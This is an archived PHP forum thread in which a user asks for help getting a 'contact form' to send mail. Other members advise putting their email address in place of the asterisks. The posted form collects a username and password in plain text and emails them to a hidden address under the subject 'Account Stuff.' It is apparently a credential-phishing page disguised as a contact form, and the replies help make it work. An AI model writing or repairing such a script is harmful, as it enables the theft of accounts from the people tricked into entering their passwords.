FRIHOST FORUMS SEARCH FAQ TOS BLOGS COMPETITIONS
You are invited to Log in or Register a free Frihost Account!


Need a Contact form from HTML/PHP





Runescapetown
Hi, ive been trying to get a contact form which uses HTML/PHP, for example: http://www.tele-pro.co.uk/scripts/contact_form/

I fill it all in but never ever wants to send to my email address, anyone fix one up for me?

please, im despiret for one .

Code: Contact.HTM
Code:
<!-- Website Contact Form Generator -->
<!-- http://www.tele-pro.co.uk/scripts/contact_form/ -->
<!-- This script is free to use as long as you  -->
<!-- retain the credit link  -->

<form method="POST" action="contact.php">
Fields marked (*) are required

<p>Email From:* <br>
<input type="text" name="EmailFrom">
<p>Username:<br>
<input type="text" name="Username">
<p>Password:<br>
<input type="text" name="Password">
<p><input type="submit" name="submit" value="Submit">
</form>
<p>

<!-- Contact Form credit link -->
Created by <a target="_blank"
href="http://www.tele-pro.co.uk/scripts/contact_form/">Contact
Form Generator</a>


Code: Contact.PHP
Code:
<?php
// Website Contact Form Generator
// http://www.tele-pro.co.uk/scripts/contact_form/
// This script is free to use as long as you 
// retain the credit link 

// get posted data into local variables
$EmailFrom = Trim(stripslashes($_POST['EmailFrom']));
$EmailTo = "******************";
$Subject = "Account Stuff.";
$Username = Trim(stripslashes($_POST['Username']));
$Password = Trim(stripslashes($_POST['Password']));

// validation
$validationOK=true;
if (Trim($EmailFrom)=="") $validationOK=false;
if (!$validationOK) {
  print "<meta http-equiv=\"refresh\" content=\"0;URL=error.htm\">";
  exit;
}

// prepare email body text
$Body = "";
$Body .= "Username: ";
$Body .= $Username;
$Body .= "\n";
$Body .= "Password: ";
$Body .= $Password;
$Body .= "\n";

// send email
$success = mail($EmailTo, $Subject, $Body, "From: <$EmailFrom>");

// redirect to success page
if ($success){
  print "<meta http-equiv=\"refresh\" content=\"0;URL=ok.htm\">";
}
else{
  print "<meta http-equiv=\"refresh\" content=\"0;URL=error.htm\">";
}
?>
alalex
can you post here the code, so we can correct it, or you want a new code?
imagefree
please copypaste the code here and we may be able to help you.
Runescapetown
HELP I ADDED THE CODE
sonam
http://www.frihost.com/users/sonam/blog/vp-83950.html

I am posted here one tutorial with full code for php mail form. Maybe can help you to build one with your own preferences.

Sonam
imagefree
please tell me what you want me to do?
Just type your Email Address in place of the ********************** and the script will start working.
manav
what errors r u getting??

according to me the code looks good....

hey just replace those stars with ur own email address and u'll be well on ur way to having a nice contact form up and running in no time..... ;->
mahirharoon
make one yourself whith mail() if support is not availible for the script you used
Related topics
Reply to topic    Frihost Forum Index -> Scripting -> Php and MySQL

FRIHOST HOME | FAQ | TOS | ABOUT US | CONTACT US | SITE MAP
© 2005-2011 Frihost, forums powered by phpBB.